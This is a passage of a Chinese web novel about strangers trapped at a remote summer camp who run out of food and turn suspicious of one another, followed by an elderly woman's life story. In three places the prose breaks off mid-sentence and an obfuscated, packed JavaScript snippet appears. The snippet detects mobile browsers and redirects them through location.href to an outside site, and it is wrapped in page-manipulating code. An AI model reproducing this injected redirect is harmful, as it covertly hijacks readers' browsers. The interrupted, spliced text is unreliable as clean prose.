平月愣了一下,转身就往隔壁跑。等她跑到悦凌凌门口,陈宇南已经在大力砸悦凌凌的门,“悦凌凌!开门!” 他用力掰门把手,门从里面反锁了,掰不动。 屋里的尖叫停了,一会儿后,门从里面拉开,悦凌凌探出头,看见陈宇南,一脸惊喜:“你今天起这么早!进来进来。” 她把门完全打开,不止看见陈宇南,还看见平月,梁威,周志,钱晓文正往这边跑,张情倚在自己门口,赵淑萍在疾走过来,拖鞋都没来得及换。 所有人都神色匆匆,所有人都是冲她来的。 悦凌凌一阵害怕:“……怎、怎么了?” 见她浑身完好,陈宇南气急败坏:“你大清早瞎叫什么?” “啊!啊……啊!”悦凌凌肉眼可见的慌乱,她知道为什么所有人都朝她过来了,不过尖叫的原因也是很大的事啊! 她不尴尬了,说:“我没饭吃了!出餐口不出餐了。” 所有人怔愣一瞬,然后掉头往自己屋里跑。 当一个人的出餐口不出餐时,很可能意味着每一个人的出餐口都没有食物。 …… 出餐口不出餐了,漆黑空洞的出餐口像一团乌云压在人头顶,压得人喘不过气。 不出餐,他们吃什么? 暴雨没有要停的意思,Jck什么时候上山是未知数。他很有可能饿死在这里。 悦凌凌一遍又一遍拨打夏令营的电话,座机的拨号键快被她按秃噜皮了,仍旧打不出去。 她气得一把摔下听筒,抡起椅子往落地窗上砸。她发了狠,一下比一下重,用尽全力,凶猛地砸,试图把落地窗砸烂。 她才不要死在这里! 她不想死! 雨声大,雷声响,椅子砸在窗上还没有雨打在玻璃上的声音响亮。 听筒掉在地上,卷成圈的电话线挂到范明胜露出布罩的脚趾,他的脚趾发青发紫发黑,肿着发出腥恶臭。赵淑萍眼也不眨,从脚趾上扯下电话线,继续打电话,给夏令营打电话,给110打电话,给自己家打电话。 陈宇南楼上楼下到处找工具,想找点锤子之类的。 梁威探手摸落地窗,悦凌凌砸了那么久,椅子的腿砸断了,露出的倒刺划烂了手指,流出血。落地窗仍旧纹丝不动,甚至没有震一震。 他说:“这比防爆玻璃还厚,砸不烂的。” 悦凌凌听不进去,只用更狠的劲砸,血倒着从她的手指流到手腕,看起来吓人得很。 梁威懒得再劝,人总是劝不动疯子。他上了楼,去摸房间里的玻璃窗,一样厚,和楼下落地窗是一样的材质。 这种玻璃做玻璃房,说好听些,很安全很养眼,现代化的漂亮,说难听些,是方便幽禁他们,看着单薄实则拿机关枪来扫射也不一定射得穿。 这些天所有不合理的地方顿时在此刻汇聚成了串。 梁威站在走廊上,问他们:“你们都是平城人吧?” “不是,我说过,我是安阳人。” 周志很理智,不论悦凌凌多疯,不论没有食物的后果多严重,他仍然坐在那里,保存体力。 梁威:“你们几个安阳的,都去过平城,对吧?” 周志:“怎么说?” 梁威:“你们以前认识Jck?” 悦凌凌甩开砸得稀烂的板凳,扭头冲梁威大吼:“你现在说这些有什么用!我们要出去,出去!不出去会饿死!” 她瞪着眼珠,眼眶通红,强忍着不让自己害怕地哭出来。 梁威:“你冷静一点,如果一切都是Jck的安排,你走出房子也会被人拧走。不如先理清楚为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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悦凌凌:“静不下心,学不进去……我本来就是在家学不进去才来的,谁想……”范明胜死了,更学不进去了。晚上睡觉一想到楼下有具尸体,心里就慌慌的,睡不着。 她这几天全是晚上熬夜,白天睡觉。 钱晓文问她:“你要不要处理一下伤口?” 悦凌凌抬起手,板凳的木刺还扎在食指的指腹上,其实不严重,拔了就行了。但一想到范明胜好像就是伤口感染好的,一时连连点头:“行行行,你帮我弄一下。” 钱晓文回去拿药箱来,消了毒,挑完木刺,包扎好。 悦凌凌:“余大哥,你平时做的菜送哪儿了?” 出餐口旁边还有个送餐口,余有为用下巴隔空点点那。悦凌凌凑过去往里看。 里面黑乎乎的,大概像一个通道,但瞧不出通向哪儿。 余有为:“你小心点,就这破天气也不晓得送没送走,要是菜还在里面,老鼠嗅着味儿来,等会咬你一口。” 他的话刚说完,黑暗里“吱”一声,一道影子飞速窜来。悦凌凌心底窜起一股恐惧,尖叫一声,一屁股坐到地上,那玩意儿直接从送餐口扑出来,跳到她肩膀上,毛刺刺滑溜溜的尾巴往她脸上甩了一巴掌,擦着她的脖子,“吱吱”跳着窜没了。 19. 第 19 章 好大一只老鼠,巴掌那么大。 悦凌凌坐在地上惊魂未定,赵淑萍扶她起来,她也愣愣的。 余有为哈哈笑两声:“我说了吧,指不定里面全是老鼠。” 钱晓文皱眉:“那为什么还要往里面送食物?” 余有为:“以防万一啊,我送我的,能不能送到检查作业的人手里是他们的事,关我屁事,只要我做了我的,给我吃的就行了啊。” “你们还得感谢我勒,要不是我每天按时交作业,大家全完蛋在这儿。” 悦凌凌喝了一口热水,缓过了那股劲,脖子里还是毛痒痒的,那毛粗刺刺的,扎得人难受,她现在都还能感受到老鼠细长的尾巴坚硬,直愣愣地在她脖子里扫了扫,那感觉饿死得要死。 她使劲挠脖子,越挠越痒,心里越发麻。最后受不了,回去洗澡。 再来的时候,脖子红了一大片,热红的,像是用毛巾和热水搓了很久。看起来真的是吓坏了。 来了坐在椅子里就是发呆,人傻乎乎的。 赵淑萍看不过去,“小苹果,过来洗菜。”人受了刺激就不能一个人傻呆着,得干点事转移注意力。 悦凌凌听话,叫就去了,帮着洗菜。 余有为在剁鸭子,砍刀在菜板上宰得嘭嘭响。每扬起一次刀,锋利的刀刃就在刺目的射灯下闪烁白光,应着外面的雨幕,阴森森的。 大家偏开头去,各自干各自的事。其实也没事干,他们就是坐在这里等饭吃。 余有为:“你们有没有啥忌口?” 年轻人没有,最多不爱吃葱、姜、蒜。赵淑萍不能吃的可多了。 余有为对赵淑萍说:“我单独给你做一份,清淡的,要吃辣椒自己加哈。” 她年龄实在太大,余有为也害怕。要是没有范明胜,倒能像普通客人对待,爱吃不吃。现在他可承担不起赵淑萍犯病的后果。 赵淑萍笑眯眯点头:“好,好。” 余有为给赵淑萍做的萝卜鸭汤,剩余的鸭子做红烧。 他的手艺特别好,烧的鸭子特入味。 悦凌凌啃着鸭骨架,又恢复了往天的朝气,吭吭哧哧夸赞:“余大哥你是五星级饭店里的厨子吧!我长这么大吃过最好吃的!” 话好俗,但余有为免不了开怀。他哈哈大笑两声,“哪里哪里,小饭店的。” 悦凌凌:“你来这就为了学厨艺啊?夏令营的厨师能比你好?我前两天吃的盒饭也没你做的好吃啊。” 余有为知道自己的水平,他并不过度谦虚,甚至很有自信:“也不是我要来学,我们老板安排的。” 悦凌凌:“你们老板的嘴真不靠谱,这么好吃还有什么可学的!” 余有为笑笑没说话。去年国家烹饪大赛,他输给了对家。老板虽然没有明面上气他,但每天气得骂骂咧咧对家。今年得了夏令营的名额,迫不及待就让他来了,让他好好学学,希望下回大赛能拿个冠军。 哪怕没拿上冠军,只要比对家强,老板也能乐呵。而且他也挺珍惜这次机会,来之前在网上查过这个夏令营,据说厨神也来过,他是抱有非常大的期待…… “你吃这个。” 陈宇南夹了一个鸭腿放到平月碗里。 对面的悦凌凌看见了,顿时觉得嘴里的鸭子不香了,酸溜溜的。但说不出我也要的话,直接拿起筷子往盆里翻,她也要吃个鸭腿! “翻什么呢,”张情笑着扬了扬手里的鸭腿,“在这儿呢。” 悦凌凌气鼓了脸,冲张情哼了一声。又不是非吃腿不可,她狠狠夹了块肉多的鸭块,泄愤地啃。 张情被逗得咯咯笑,悦凌凌瞪她,她还当着悦凌凌的面,撕下一块鸭腿肉,涮涮白水,喂给猫吃。 悦凌凌气狠了,指着她骂:“你浪费!” 张情:“这猫我花了五万块钱买的,不比你精贵?” 悦凌凌:“多少?!” 张情:“五万六千八。” 悦凌凌几乎要晕过去。 “啥猫这么贵?”余有为探头望。肥墩墩的埋在张情脚边,像块煤气罐。 赵淑萍说:“别被骗了吧?我们那儿母猫生一窝,各个乖得很,和你这一样可爱,你要喜欢,回头上我那儿逮去。 周志笑道:“你那是土猫,人家是国外进口的金渐层,不是一个品种。” 赵淑萍砸吧嘴:“真有钱,有这钱干啥不行。” 张情白了她一眼。 周志:“你这就不懂了,现在的年轻人讲究的是精神陪伴,养猫养狗就跟养儿子一样,比养儿子还懂提供情绪价值呢。” 赵淑萍:“那还不如生个儿子养呢,花那么多钱,儿子都能养好几岁了,等你老了还给你养养老,照应照应你,养只猫,猫还能比人活得久?” 周志:“你看,这就思想碰撞了吧。现在不讲究‘养儿防老’了,现在讲究精神、自由、情绪、内核,伴侣和孩子往最后面排了。” 赵淑萍:“也就是年纪小,等你们老了就懂了,干什么都还是得生个孩子,生不了儿子,生个女儿也成啊。你们现在拿着钱吃吃喝喝玩玩,不结婚不生孩子,等你们老了就晓得后悔了。” 悦凌凌纠结:“人一定要结婚生孩子啊……” 赵淑萍:“当然,不结婚你一个人怎么过?你又是个女孩,大事干不了,生病了谁照顾你。还在你还年轻,抓紧时间找个靠谱的男人,以后也有陪伴照顾不是?就算男人死了,还有孩子不是?” 张情听得恶心,打断她:“你生了几个儿子?” 赵淑萍:“两个啊。” 张情嗤笑:“两个儿子啊,厉害啊。” 赵淑萍对自己的两个儿子很骄傲的,虽然小儿子工作不好,但大儿子赚得多啊,而且两个儿子都成家立业了。 张情话音一转:“生了两个儿子……怎么你被关在这里没吃没喝也没见你两个儿子来接你回去?” “别不是你两个儿子嫌你老不死的拖累他们,专门报个夏令营,让你死这里一了百了吧。” 赵淑萍“啪”地拍下筷子,满脸愠怒:“你个小姑娘年纪轻轻满嘴什么胡话!他们远在千里能知道我这里发生什么事?要是知道,肯定第一时间就来了,你爹妈不也不知道吗?” “哦?不知道啊?”张情冷笑,“你来夏令营,他们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971699|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道啊?夏令营是干什么的,他们不知道啊?报名就要填你来这里学什么,他们给你填的什么,没告诉你啊?从报名到出发,一两个星期,那么长时间,他们是忘记告诉你,还是故意不告诉你啊?” “我们今天没吃的,明天交交作业就有了,你……”张情用很不屑的眼神上下扫视她,“……连自己该交什么作业,往哪里交都不知道。” 梁威拉了她一把,让她别说了。 张情:“我没说错啊,这里天荒地远,她死这儿,两儿子连葬礼费都省了,还能向夏令营讹个赔偿。赔偿一到,她儿子登时小屋换别墅,舒舒坦坦……” “你、你……你……”对面的赵淑萍气得胸口上下起伏,指着张情,说不清话。 脸都气红肿了,呼吸急促,好似下一秒就要背过气去。 张情呵笑:“我、我——” 梁威捂住张情的嘴,拧起她胳膊将人带走。 悦凌凌赶紧给赵淑萍抚着背顺气,余有为也有些慌,忙在旁边安抚:“她个小姑娘,没遭过社会毒打,不懂好赖。您是心宽好心劝她,她不往心里听就算了,您也别生气,气坏了身体多不值得。” 周志倒了热水来,喂赵淑萍喝。 水喝下去,赵淑萍喘了好一阵,才慢慢平复心情。 余有为还在旁边宽慰她,但她一点都听不进去。满脑子都是张情的话,话难听,尖酸刻薄,但……总归,她是不会相信张情说的每一个字。 赵淑萍的手抖得厉害,饭是吃不下去了,站起身。悦凌凌紧紧跟着她站起来,扶着她回了房,看人在床上躺下,悦凌凌才关上门,回到余有为房间。 周志问她情况怎么样。 “睡了,看着没事。”悦凌凌话是这样说,心里还是慌得很,“张情太不会说话了!哪能动不动就咒人家死。虽然我也觉得奶说话不好听,但她都那么老了……” “反正换做是我,那些话我是一句不敢说,太吓人了,如果气倒了怎么办?” 送医院都赶不上趟。 她抬起自己双手,犯羊癫疯一样抖动,“我送她回去的时候,她的双手就这样抖,抖,抖,抖得我腿发软。生怕她倒走廊里了。” “唉……以后咱们和她说话还是小心点,能别说就不说吧,太可怕了。” 悦凌凌的手心这会还汗津津的,都是吓的。她赶紧刨几口饭压压惊,又啃几块鸭肉。 “她真不知道自己作业是啥啊?”余有为心有余悸地问,“那麻烦可大了。” 悦凌凌压完惊了,跟着说:“其实张情的话难听是难听,但想想还是有点道理,我要是给我妈报了什么学习的夏令营,一定把重要的东西写本子上给她随身揣着,哪像奶这样,一问三不知。” “奶年纪这么大了,就算他们告诉给奶,奶忘记了,也该每天打电话问问啊。头两天都没见奶和谁打过电话。” 悦凌凌问周志:“你和奶玩的时间久,你见过她打电话嘛?” 周志想了一会,摇了摇头,“她手机没响过,也没打过电话。” 悦凌凌:“不正常。” “老人手机铃声恨不得比唢呐响。” 20. 第 20 章 张情被梁威连拖带拽地丢到床上。 床垫向下陷了陷,张情爬起来,肩膀上的披纱掉在床上也不捡了,手指头勾了勾滑落的吊带,对梁威哼笑:“见不得人说实话啊?” “我是看她可怜,专门告诉她,别真年纪大就当老糊涂了。” 梁威:“气死了你也脱不了干系。” “那把年龄,在家里跟她男人生了一辈子窝囊气,这点话就给气死了?心眼这么小?别不是她知道我说得对吧,那……” 张情眼眸一转,笑意凉凉。 “——真是太可悲了,还生两个儿子。” “别管那么多。” 梁威问她:“你是怎么知道夏令营的?” 张情横了他一眼,“别管那么多。” 梁威:“你知道这里不对劲吧?” 张情往床头挪了挪,立起枕头,靠在床头,等他继续说。 梁威:“头一天来的几个人是安阳的,他们肯定去过平城。我们这一车平城来的,这次夏令营所有人都离不开一个线索——平城。” “你以前见过范明胜?” “没见过。”张情弯着手指看指甲油,红亮亮的,是她来前刚涂的。 梁威:“再想想。他不可能无缘无故来这里,房间也不可能刚巧就多他一间。我们都疏忽了一件事,如果房间真的多那么一间,范明胜是尾随而来的小偷,那他的一日三餐是从哪里来的?” “今早我去他房间看过了,出餐口没有出餐,但他刚来的那一天,他是一餐没落,后面几天在楼下,他的餐也正常出。” “范明胜是这次的参赛者,Jck说谎了。” “密不透风的房子,断网断信号,他在囚禁我们。也许,还会死人。” 张情不看指甲了,脸色沉重,“我男朋友多,但我不交穷鬼。” 梁威:“赵淑萍?” 张情:“不认识。” 梁威:“余有为?” 张情嫌弃地皱鼻子:“也不交厨子,一身的蒜味,简直受不了。” 梁威:“周志?” 这个人,张情仔细想了想。他的五官还算好看,体格也不差,高高正正,说不定真交往过? 不过没想起来,“不认识。” 梁威:“平月?” 张情笑了:“她?她几岁?22岁?我比她大了一轮,我和男人做\爱的时候,她才上小学吧,哪能认识她?” “悦凌凌那傻狍子更不用说了,就她那样,平时在家肯定老娘说一她不敢说二,这种乖狍子,我更不认识。” “陈宇南……太小了,我最烦小弟弟,动不动就爱得要死要活,受不了。” “你……” 张情笑意盈盈看面前的男人,眉眼深邃锋利,长得一脸严肃,只有正义没有欲望的样子,真是让人忍不住撩拨撩拨。 她抬脚缠上他的腿,往床上一勾。 “——我倒是认识。” “而且认识得很熟。” 梁威跌坐到床上,手剥开她的脚,让她别闹。 “行啊。” 张情起身攀到他肩头,声音轻轻的,“那你说说钱晓文是做什么的?” 梁威:“入殓师,平城怀安火葬场。” 张情:“入殓师有什么?干嘛不让人进屋?都说入殓师工资高,里面藏金子了?” 梁威:“有尸体。” 张情吓了一声,“每晚跟尸体睡觉?” “果然没点胆量都赚不到那点钱。” 梁威:“好了,说说你是怎么知道夏令营的?” “听人说的呗。”张情松开他,摸过烟盒,坐到边上抽起了烟。 “我男朋友的老婆打上门来,我就躲朋友家去了,上酒吧喝酒,听那老板说起夏令营的事。” “酒吧有个驻唱嘛,唱得挺好听的,就是欠点东风,老板让她来夏令营,有夏令营这块金砖,回去后不愁发展。” “我男朋友那老婆不知道怎么找上我朋友家,把我朋友也打了,没办法,平城是待不下去了,只能出来避避风头,夏令营正好,给吃给住两个月,反正没地方去,就和那驻唱一起报名了。” “你呢?” 梁威敷衍:“想升所长,来看看有没有机会。” 张情嗤笑:“来这里找机会还不如给你上司多送点钱。” 梁威:“你别在这时候惹事,先出去再说。” 他站起身,离开了张情房间。 房门打开的时候,猫正巧溜进来,跑到床边冲张情“喵”了一声,那双绿色的猫眼圆溜溜的,嵌在它圆盘似的脸上,又萌又可爱。 张情连忙掐灭烟,挥开弥漫的烟雾,冲猫招招手,“过来。” 猫往床上一跃,亲昵地窝进她怀里。 “我们咪咪是高贵的公主,怎么能和隔壁老太婆的小野猫比,是吧?” 张情笑着摸出一片桃子干,喂给猫吃。 猫像应和她的话,喵喵叫。 …… 隔壁的老太婆睡不好,比范明胜死的时候还睡不好。 张情说的话像鬼打墙一样在她脑海里转,让她怎么转都转不出来。 她从床上坐起来,对着窗外乌黑黑的雨发呆。雨哐当哐当地砸,砸得她心烦意乱。往常还能去找周志聊聊,聊完了睡得踏实,今天这种事没法找周志聊,只能自己默默吞。 赵淑萍又想起另一个人,或许可以找他聊。只想了一瞬,她摇头甩掉这个想法。 当初说好了,以后只当互不认识。不能因为一点小事就找上去。 抖出三片安睡片,医生说一次性最多吃三片,半个小时内还没睡着,在一个小时后可以再吃一次。 赵淑萍吞下安睡片,躺到床上,眼睛一闭上就想起张情说的那些话——报名就要填你来这里学什么,他们给你填的什么,没告诉你啊? ——从报名到出发,一两个星期,他们是忘记告诉你,还是故意不告诉你啊?” ——别不是你两个儿子嫌你老不死的拖累他们,专门报个夏令营,让你死这里一了百了吧。 从报名到出发,两个星期,十五天,他们是忘记告诉你,还是故意不告诉你? 眼角水汲汲的,赵淑萍哽咽了一声。 她有两个儿子,大儿子生的是儿子,二儿子生的是两个女儿,大女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975711|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿是囡囡,小女儿是圆圆。 她跟着二儿子住,平常就送囡囡和圆圆上学下学,再去买买菜。 人年纪越大,记性越差。平常出门,囡囡会把重要东西写在纸上,给她揣在包里。 这一次出门,是老大开车送她到车站,上车后,囡囡打电话问她坐对车没。后来她给老大打电话说到了,老大说忙,挂了电话。晚上的时候,囡囡给她打电话,说她妈管得紧,不让她用手机,偷偷拿爸爸手机打的,让她别告诉她妈。 赵淑萍知道二儿媳妇,什么都爱管,这也管那也管,囡囡不喜欢她妈。她住在老二家,二儿媳妇也爱说她,说她用水盆不放回原处、放水放得大、一张帕子用老久、吃饭先吃菜、上厕所拖拉等等……但没办法,谁让她是老二媳妇,谁让她是囡囡妈。 夏令营是囡囡提起的,说学校老师也报名了,老师说是去玩的,问她要不要去。当时老大也在老二家,听见了就问是上哪儿玩。囡囡说不知道。后来老大上网查了,说是个好地方。 “咱娘还没去什么地方旅游过,我看这是个好地方,不如这样,囡囡和圆圆马上也要放暑假了,二弟和弟妹上班没时间,就让囡囡和圆圆上我家去,让学哥儿带她们玩。要上培训班,我在平城帮忙找个好的班也成,反正平城的培训班比安阳强。” 老二媳妇是心动的,平城是省会城市,培训班肯定比四线城市的安阳好,而且老大报了,他们正好省了费用,还不用带孩子。老太婆在家呆着也烦,她平时当着丈夫的面不好说什么,但心里还是烦得很。 老大这话正对她心窝。 老二媳妇当即笑:“是啊,妈,您累了这么多年,还没休息过,老大说这夏令营好肯定是好,您就出去玩玩,放松放松。” 赵淑萍人老,却不傻,知道老二媳妇不喜欢她。但只是旅行而已,还真能把她撵出门不成?更何况是老大提议的。 囡囡也说:“我们学校好多老师报名了,说是个厉害的夏令营。奶奶,欣雨她妈妈也报名了,她妈妈说去找灵感。” 欣雨她妈是钢琴家,拿过省级奖,名气不大,但放在四线城市足够响亮了。 大家都在劝,赵淑萍也听得心动。全是什么老师啊钢琴家啊这些有身份的人去,他去的地方,肯定不差。 赵淑萍最远就去过平城,这次出门肯定更远,心很慌,比心慌更严重的是心动。 老大当场打开电脑,囡囡围在旁边,给她报名。 囡囡才12岁,看电脑肯定没老大厉害,什么要交作业的,囡囡或许没看见。但老大都四十多岁的人了,一定看得见。 他填的什么? 她要交什么作业? 为什么不告诉她? “咚咚咚……” 门被很轻很轻地敲响,轻到几乎是摸。 赵淑萍没睡,所以听得很清楚。 “谁啊?” 她擦干眼角的泪水,坐起来。 “我。” 门外的声音非常耳熟,熟悉到赵淑萍这辈子都没法忘记。 他们约定好的,以后见面只当不认识,现在,那个人因为一点小事过来找她了……赵淑萍几近崩溃。 21. 第 21 章 平月在数东西。每天除了三餐之外,夏令营还会额外提供上午茶、下午茶、夜宵。多数时候是饼干零食之类的东西。她吃得少,到目前为止,这些零食储存了小半个收纳筐。 一共有五份饼干,两份巧克力,一盒糖果,五盒牛奶。 今天中午是在余有为房间吃的饭,中午的盒饭还摆在桌上没有动,已经凉了。 她一并放入收纳筐,盖上布,推进柜子深处。 晚上的盒饭还是热乎的,她撕开盖子,坐在窗边吃。 外面滂沱大雨,整个世界灰蒙蒙的,巨大的雨水冲不干净那股灰暗。 烧鸡味道和小区门口的柴火鸡的味道一样,就像老板亲自烧的。 锅边饼咬了一口,平月顿了顿,盯着铺在纸巾上的骨头,继续嚼饼子——天远地远的边境山上,哪来的老板亲自给她烧柴火鸡? 她没吃过别家柴火鸡,指不定小区门口那家最正宗,所以大多数柴火鸡的味道都像他家烧的。 心里是这样想,但脑子十分清楚——哪能连锅边饼的味道和嚼劲都烧得十乘十的像? 匆匆吃完,扔了垃圾。平月打开电脑,将第一天看见别人在电线杆上贴夏令营广告到现在的每一天,在电脑上一一列下来。 列得越多,越有心慌——这个地方有问题。 夏令营报名人数三十多万,聚集在这里的人,只有平城和安阳两个城市的人。 张情说得没错,赵淑萍就是被人送进来送死的。而她,是自投罗网来的。 敲键盘的手在抖,心惶惶得厉害——她不知道该怎么逃出去。隔壁有开门声,她立刻站了起来,从门铃的可视镜里看见悦凌凌进了陈宇南的房间。 夜里十一点,悦凌凌进了陈宇南的房间。在这个谁都有可能是凶手的地方,独自去了陈宇南房间。白天她还像疯了一样想出去。 好有意思。 平月控制不住的激动,脑海里源源不断涌出新鲜的灵感。 她坐回电脑前,打开新章节,开始写…… …… 1965年,桂花村的赵三家生了一个女婴。 赵家代代得男,这是近四代来,头一个女孩。吃饭都吃不起的年代,没人愿意养一个娇脆的女娃。 夜黑风高,赵家将这个女婴丢弃到河里,并且对外宣称,将人送婆娘娘家去了。婆娘娘家远得很,远到分不清在哪个方向——因为这个婆娘是赵三在山上捡回来的。 在山上迷了路,被赵三带回家去,天高地远,没人找寻,有吃有喝,女人就住了下来。这一住,顺理成章成了赵三的婆娘。这个落后的村子里光棍一大把,家里没点田地、粮食、钱票,是说不上亲的,就算女方是个哑巴疯子,人家也不愿意说给吃不上饭的人家。 女人都紧俏得很。 女婴是头一天扔的,赵三是第二天在河里打水的时候看见一片布在草笼里若隐若现。他用扁担挑开草笼,打眼就瞧见他扔掉的女婴窝在草笼里望着他,小小的手冲他抓呀抓,嘴里咿咿呀呀。 跟撞鬼似的,扔进河里的娃自己爬进了草笼。 赵三觉得她命硬得很,命这么硬,肯定活得久,随便折腾都活得久。赵三就给她抱了回去。 他是从大家里分出来的,在桂花村的尾巴上。抱回去的时候,地里干活的人都笑他,说他婆娘娘家不要啊,又给送回来。赵三婆娘掀开帘子瞧,整个人脸色都不好了。 赵三咬咬牙,说:“养了。” 人就这样养了下来。赵家这一辈是“叔”字辈,因为是个女婴,就加了三点水,变“淑”,又因为扔进河里还安全爬进草笼,便取了个“萍”字,叫赵淑萍,寓意经历大事故仍旧平平安安。 平平安安不见得,大事故赵淑萍这一生倒是经历了不少。 赵淑萍虽然是个女娃,却没让她爹后悔过,从小就勤快能干,男人能下地干的活,她也能干,干得比男人快。女人干得活,她还是照干,干得漂漂亮亮。 赵三经常夸她,赵淑萍乐呵呵地笑。她一笑,赵三就觉得不好了,感觉她傻。 赵淑萍不傻,她聪明得很。她知道自己不干活,这个家就没得吃,人就会饿死,所以她往死里干。家里家外的活都干。后来村里有人上集市的时候听街上的人说去大城市打工比种一年地强得多,信的人去了,不信的人留在村里继续种地。 来年除夕,那些外面打工的人回来,走路的脚都是岔着走的,跟河里的螃蟹似的大摇大摆,横气得很,过年吃拜年饭时,桌上不是酒就是烟,大鱼大肉,只见阔气。 那些烟和酒是村里人从没有见过的。 赵淑萍动了心思,问幺爸家的堂哥在外面干什么,堂哥说你干不了。赵淑萍不死心。堂哥说,你要出去干就去织布厂吧,织布厂也招人,你能干。 过完元宵,赵淑萍也出去了,照堂哥说的,去大城市找织布厂。确实招人,招很多人,但按件计费,织多少给多少钱。赵淑萍住在织布厂里,每天起大早去和人抢织布机。 织布机并不多,但厂里人多,谁抢到谁用,等人用完了,下一个人才能用。有时候去晚了,能等到晚上,想挣钱就得熬个通宵。日日夜夜,人的眼睛都快熬瞎了,赚的钱除了交住宿费和伙食费,剩不下几个钱。 这是拿命和时间熬钱,赵淑萍做了不到半年就出来了,去当洗碗工、卖鱼杀鱼、帮人拉工……钱是赚了,但比在村里种地累多了,根本不像那些人说得那么轻松,可让她再回去种田,把那一点点米倒来倒去地省着吃,她还是不愿意。 后来,她找了一家包子店卖包子。早上四点过去剁馅,上蒸屉,五点半开卖。老板是不会让她知道怎么调馅的,每次她剁好肉馅去拿蒸屉和面团时,老板就悄悄调馅,生怕她偷学了去。 她只当不知,反正她身上那点钱也开不了包子店,只要老板给她发钱就行。每天卖剩的馒头,她还能拿回去当晚饭吃。老板不在时,还可以偷偷摸摸吃两个羊肉包子、牛肉包子把自己的早饭赚回来。 有次偷吃恰巧被送煤炭的男人看见,他瞪大眼珠,不可置信地盯着她。 赵淑萍狼吞虎咽吞下,从抽屉里摸出一个肉包子递给他。他摇摇手,赵淑萍感到烦,这个年代也不是人人都能吃上肉,每天早上买肉包子的都是穿戴整齐的人,那些破破烂烂的打工人只能抠抠搜搜买两个素包子。他这个送煤炭的更是吃不上。 男人最后还是接了过去,跟她一样,狼吞虎咽吃掉,吃得腮帮子鼓鼓。赵淑萍突然看他看顺眼了。后面,他每次来送煤炭,赵淑萍都偷两个肉包给他。 然后他来得更勤了,有时候还会给她带吃的,糖啊,绿豆糕啊之类的,不多,一两块。 赵淑萍没吃过那些东西,吃着齁甜,但好吃。 老板问他们是不是在谈恋爱。男人红了脸,赵淑萍也红了脸。 男人和她都是安阳市来的,不同县不同村。后来赵淑萍真嫁给了他。两个人租了个小小的房子,男人继续卖煤炭,大街小巷地送,赵淑萍还是卖包子。 一年后,钱不够用了——两个人租房,吃用都贵,煤炭根本不赚钱,赵淑萍还得贴钱给他去进货,他卖了煤的钱有时候给她,有时候问起就说没钱,要么就说谁谁谁借去了。 这年头大家天南地北地跑,借出去的钱都收不回来。 赵淑萍气极,和他大吵一架。男人摔了碳车说要去干别的,去工地打工吃不了苦,去学人造蛋,钱交了,蛋学了,却没人买蛋,去给人当小弟,忍气吞声又不在行……总之,干啥啥不行,还啥都想要、啥都想玩。 赵淑萍又气又恨,想不明白自己当初怎么就看上了他。当时他看起来多么靠谱,现在就多么离谱。 房租交不上了,两人上他兄弟的租房里借住。赵淑萍也没在包子店干了,找了中餐馆的切菜工,钱多一些,时不时还能顺点菜偷点肉回家。在那里干,省了所有的菜钱。 赵淑萍又存了点钱,结果她男人自打跟了兄弟,就像脱了链子的狗,越来越野,越来越疯。买六\合\彩、去夜总会、舞厅、喝酒样样来。 赵淑萍是看见铁盒子里存的钱没了才发现的,气得胸口疼。夜里两点,男人和兄弟回来时,赵淑萍冲两人劈头盖脸地打骂,将兄弟家的东西全摔了砸了,拎起打包好的行李,离开了。 她男人紧紧追在她身后,怎么拉都拉不住,也不敢用力拉。 两人在车站外面的地下通道里坐了一宿。白天去中餐馆把工钱结了,买了两张车票回省内,到省会城市平城找了远方堂哥,住堂哥家里。 堂哥给男人介绍了一份安装窗户的工作,算是学门手艺,赵淑萍也找了家饭馆当切菜工。 一年过去,男人手艺学得差不多了,问赵淑萍要钱,说想自己开个门市。小城市的饭馆老板看得严,她只能趁老板不在的时候偷点菜。 从住进堂哥家后,家里都是她掏钱去买菜买米买油买盐,一年下来花费不少,她不敢说什么,毕竟堂哥帮她很多,她家男人学着那门手艺确实比以前好了很多。 赵淑萍问堂哥借了点钱,向老板预支了一个月的工钱,又回乡下问爸妈借点钱,凑着租了间门市。堂哥托人置办些工具给他们。他们从堂哥家搬出来,在门市最里面安了一张床,挂上帘子和前面隔开。 她男人有点蠢,自己接不到活,哪怕接到了活也莫名其妙被人撬走,还不敢去骂。 一个月下来,没赚到钱,还倒贴钱给人安装窗户。 赵淑萍气得心肝疼,辞了饭店工作,跟男人一起干。她能吃苦,她男人拉不下脸干的活,她全能干,不管热还是冷,骑着破烂的三轮车满大街吆喝维修门窗、安装防护栏。 一天最少也能拉到一单。好在她男人会干活,只要给他活他就埋头干,这点赵淑萍是满意的。 半年下来,赵淑萍把借来的钱全还清了。后半年更是存了不少钱。 